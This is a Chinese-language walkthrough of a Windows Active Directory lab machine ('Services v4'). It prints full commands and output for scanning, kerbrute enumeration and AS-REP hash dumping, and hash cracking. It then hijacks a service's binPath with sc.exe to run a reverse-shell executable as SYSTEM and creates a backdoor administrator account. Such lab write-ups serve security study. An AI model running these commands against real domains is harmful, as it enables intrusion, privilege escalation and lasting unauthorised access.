文章总结： 本文记录了针对Servicesv4靶机的内网渗透实战。通过扫描发现域名，利用字典枚举出存在AS-REPRoasting漏洞的用户j.rock。破解哈希后登录主机，利用ServerOperators组权限，通过SC命令劫持cfn-hup服务路径替换为恶意程序，重启服务从而提权至SYSTEM并建立后门账户。 综合评分： 90 文章分类： 内网渗透,渗透测试,漏洞分析
【内网渗透】Services v4服务镜像劫持
原创
Asuna
皇后红队
2026年1月7日 19:51 安徽
sudo nmap --min-rate 10000 -Pn -p- 10.49.141.2 | awk -F/ '/^[0-9]+\/tcp.*open/{printf "%s,",$1}' | sed 's/,$/\n/'53,80,135,139,389,445,464,593,636,3268,3269,3389,5985,7680,9389,47001,49665,49667,49669,49673,49674,49684,49685,49690,49699
sudo nmap -T4 -n -sC -sV -Pn -p 53,80,135,139,389,445,464,593,636,3268,3269,3389,5985,7680,9389,47001,49665,49667,49669,49673,49674,49684,49685,49690,49699 10.49.141.2 PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.0|_http-title: Above Services| http-methods: |_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: services.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: services.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped3389/tcp open ms-wbt-server Microsoft Terminal Services| rdp-ntlm-info: | Target_Name: SERVICES| NetBIOS_Domain_Name: SERVICES| NetBIOS_Computer_Name: WIN-SERVICES| DNS_Domain_Name: services.local| DNS_Computer_Name: WIN-SERVICES.services.local| Product_Version: 10.0.17763|_ System_Time: 2026-01-06T17:35:33+00:00|_ssl-date: 2026-01-06T17:35:42+00:00; 0s from scanner time.| ssl-cert: Subject: commonName=WIN-SERVICES.services.local| Not valid before: 2026-01-05T17:27:00|_Not valid after: 2026-07-07T17:27:005985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.07680/tcp closed pando-pub9389/tcp open mc-nmf .NET Message Framing47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.049665/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49669/tcp open msrpc Microsoft Windows RPC49673/tcp open msrpc Microsoft Windows RPC49674/tcp open msrpc Microsoft Windows RPC49684/tcp open msrpc Microsoft Windows RPC49685/tcp open msrpc Microsoft Windows RPC49690/tcp open msrpc Microsoft Windows RPC49699/tcp open msrpc Microsoft Windows RPCService Info: Host: WIN-SERVICES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:| smb2-time: | date: 2026-01-06T17:35:34|_ start_date: N/A| smb2-security-mode: | 3.1.1: |_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 77.92 secondsasuna@macbook security %
services.local 是我们接下来的域名了,这里写进 hosts
asuna@macbook WhatWeb-0.6.3 % ./whatweb 10.49.141.2 ERROR Opening: https://10.49.141.2 - Connection refused - connect(2) for "10.49.141.2" port 443http://10.49.141.2 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.49.141.2], JQuery, Meta-Author[http://webthemez.com], Microsoft-IIS[10.0], Script, Title[Above Services]asuna@macbook WhatWeb-0.6.3 %
whatweb 查看了一下，并没有使用未修复可利用的组件漏洞，但是发现了一个邮箱：[email protected]
记录一下，稍后看
扫目录并没有发现什么价值
翻看 js 也没有什么收获…
http://10.49.141.2/contact.html 发现一处可以填写信息的地方：
Above Services Inc. JC Main Road, Near Silnile tower Pin-21542 NewYork US.
(123) 456-789 – 1255-12584 [email protected]
http://10.49.141.2/about.html
Sales 销售
我们可以自己做字典了
用户名为
j.dowj.rockw.mastersj.larusso
使用 cewl 这个 kali 自带的工具（可将特定 URL 爬取到定义的深度并返回关键字列表，密码破解者如John the Ripper、Medusa和 WFuzz 可以使用这些关键字来破解密码。）
ruby cewl.rb http://10.49.141.2/about.html -w test.txt
先检验一下这个用户字典是否有效（是否可能为域账号）
asuna@macbook kerbrute % ./kerbrute userenum -d services.local --dc 10.49.141.2 user.txt
2026/01/07 16:26:41 > [+] VALID USERNAME: [email protected]/01/07 16:26:41 > [+] VALID USERNAME: [email protected]/01/07 16:26:42 > [+] j.rock has no pre auth required. Dumping hash to crack offline:[email protected]:796b9bc24eea1acb9433f50b21dc6090$38336fe09cdd51d62f108910ac618bf0138021c57119be784e584d6c42dc144005b0ed2bd3c5d779d0539d3ecf6fae4500999f2242bec6ba3de04280c1bec6e7b5907c0461a2718eb3f4abc82857030107a74017fc7b7c4a4dd61469511f9b1efca6d150e2368e6ae95fa055c11fd15fd89bebcc1f79f2dd1a1e54ebaf6bba82e7ce7d9c53fe340b604fe1cfd628e7af7267eb0f599e5b290de00351020b658205fbaa3a848ab3ec8a10618d444a2c0daff4715c3437bdb209f4ec88e5dabe24d9e8a8139604e52b7f4435c8dfdccef699df4a0dfcafa1b040b58fff222d617096998ef45a2986abe1c5cba176708897be68b6c6e400d75725bd91f0a37a73ddd422ff622026/01/07 16:26:42 > [+] VALID USERNAME: [email protected]/01/07 16:26:42 > Done! Tested 4 usernames (3 valid) in 0.544 seconds
| | | |
| — | — | — |
| 用户名 | 状态 | 备注 |
| [email protected] | ✅ 有效 | 普通域用户 |
| [email protected] | ✅ 有效 | 普通域用户 |
| [email protected] | ✅ 有效 | 无预认证（AS-REP Roasting） |
保存 hash 文件
cat > j.rock.hash <<'EOF'[email protected]:796b9bc24eea1acb9433f50b21dc6090$38336fe09cdd51d62f108910ac618bf0138021c57119be784e584d6c42dc144005b0ed2bd3c5d779d0539d3ecf6fae4500999f2242bec6ba3de04280c1bec6e7b5907c0461a2718eb3f4abc82857030107a74017fc7b7c4a4dd61469511f9b1efca6d150e2368e6ae95fa055c11fd15fd89bebcc1f79f2dd1a1e54ebaf6bba82e7ce7d9c53fe340b604fe1cfd628e7af7267eb0f599e5b290de00351020b658205fbaa3a848ab3ec8a10618d444a2c0daff4715c3437bdb209f4ec88e5dabe24d9e8a8139604e52b7f4435c8dfdccef699df4a0dfcafa1b040b58fff222d617096998ef45a2986abe1c5cba176708897be68b6c6e400d75725bd91f0a37a73ddd422ff62EOF#写入文件
hashcat -m 18200 j.rock.hash --show#验证格式
MacOS + M 系列 GPU 目前没有任何能跑通 18200 的 binary，CPU 模式又被 hashcat 强制关闭（太慢且未优化），所以直接报错 “No devices found”。 想用 hashcat 破 AS-REP 只能换 Linux + NVIDIA/AMD 或者云 GPU。
用 john，我还是选择用家里台式机跑
题外话：【我使用向日葵先连上家里设备（你也可以用 WiFi 开机卡启动物理设备），然后用开启 VMware 打开 Windows10（这一步也可以开机自启动，向日葵是以防万一），Windows 用 frp 把 rdp 映射到公网上】而且这样很流畅的，取决服务器宽带。我买的最便宜的 2h2c3m 的一年几十块钱就行了。
hashcat.exe -m 18200 -a 0 -w 3 j.rock.hash test.txt
*Evil-WinRM* PS C:\Users\j.rock\Documents> whoami /all
USER INFORMATION----------------
User Name SID=============== ============================================services\j.rock S-1-5-21-1966530601-3185510712-10604624-1111
GROUP INFORMATION-----------------
Group Name Type SID Attributes=========================================== ================ ============ ==================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled groupBUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled groupBUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled groupBUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled groupBUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled groupMandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION----------------------
Privilege Name Description State============================= =================================== =======SeSystemtimePrivilege Change the system time EnabledSeShutdownPrivilege Shut down the system EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeRemoteShutdownPrivilege Force shutdown from a remote system EnabledSeIncreaseWorkingSetPrivilege Increase a process working set EnabledSeTimeZonePrivilege Change the time zone Enabled
USER CLAIMS INFORMATION-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
| | | | — | — | | BUILTIN\Server Operators | 可启停服务、写系统目录、本地登录，常用来“服务劫持”提权到 SYSTEM |
service 枚举服务
*Evil-WinRM* PS C:\Users\j.rock\Documents> services
Path Privileges Service ---- ---------- ------- C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe" True AmazonSSMAgent "C:\Program Files\Amazon\XenTools\LiteAgent.exe" True AWSLiteAgent "C:\Program Files\Amazon\cfn-bootstrap\winhup.exe" True cfn-hup C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharingC:\Windows\SysWow64\perfhost.exe True PerfHost "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\NisSrv.exe" True WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\MsMpEng.exe" True WinDefend "C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
*Evil-WinRM* PS C:\Users\j.rock\Documents>
但是 ADWS 并不可写
SysWow64 不可写
然后看了 wp 用的 cfn，”C:\Program Files\Amazon\cfn-bootstrap\winhup.exe”
但是这个 ai 跟雌小鬼似的。先不管了，用 sc 把cfn-hup 服务替换成后门
cmd /c "sc.exe config cfn-hup binPath= `"C:\Users\j.rock\Documents\adws-rev.exe`""
成功了
重启服务
cmd /c "sc.exe start cfn-hup"
得到 system32
但是会话很快就掉了我没机会去翻 flag，所以我决定在 shell 链接后立马创建个用户并加到管理员组。
net user k1t0 P@ssw0rd!123 /add /y && net localgroup administrators k1t0 /add && wmic useraccount where "name='k1t0'" set passwordexpires=false
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：皇后红队 Asuna《【内网渗透】Services v4服务镜像劫持》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论